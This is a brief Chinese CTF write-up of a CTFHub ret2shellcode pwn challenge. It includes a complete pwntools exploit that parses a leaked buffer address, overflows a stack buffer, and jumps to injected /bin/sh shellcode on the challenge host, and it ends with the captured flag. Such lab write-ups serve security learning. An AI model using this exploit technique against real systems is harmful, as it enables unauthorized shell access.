阅读量:0
checksec pwn
没有开保护 并且是64位的
放入IDa64
shift+f12 查看字符串
发现没有shell
f5查看主函数
read函数,点进去buf
0x010,0x08.
buf的地址 因为我们要把buf填充满 然后再让栈进入shellcode的地址 然后再执行shellcode
recvuntil
函数会一直读取数据,直到遇到指定的终止字符(']'
),这有助于确保你从远程服务接收到了完整的、包含有用信息的数据。 eg:Buffer address: 0x7fffffffe000]shellcode
:- 这是实际的 shellcode 字节码,之前通过
asm(shellcraft.sh())
生成的。 - 它的作用是执行一个 shell(
/bin/sh
)。这个 shellcode 将在缓冲区溢出后被执行。 p64
是pwntools
提供的一个函数,它将shellcode_addr
转换为 64 位的小端格式(8 字节)。
- 这是实际的 shellcode 字节码,之前通过
from pwn import * import re context.arch='amd64' shellcode=asm(shellcraft.sh()) p=remote('challenge-d40d1cb161bcae57.sandbox.ctfhub.com',24552) buf_addr=p.recvuntil(']') #截取到]为止的字符串 buf_addr=int(buf_addr[-15:-1],16) #处理一下 然后为16进制 shellcode_addr=buf_addr+32 #0x10+0x08+0x08 十进制为32 payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode p.sendline(payload) p.interactive()
ctfhub{52391a33853a4935e36d7ae5}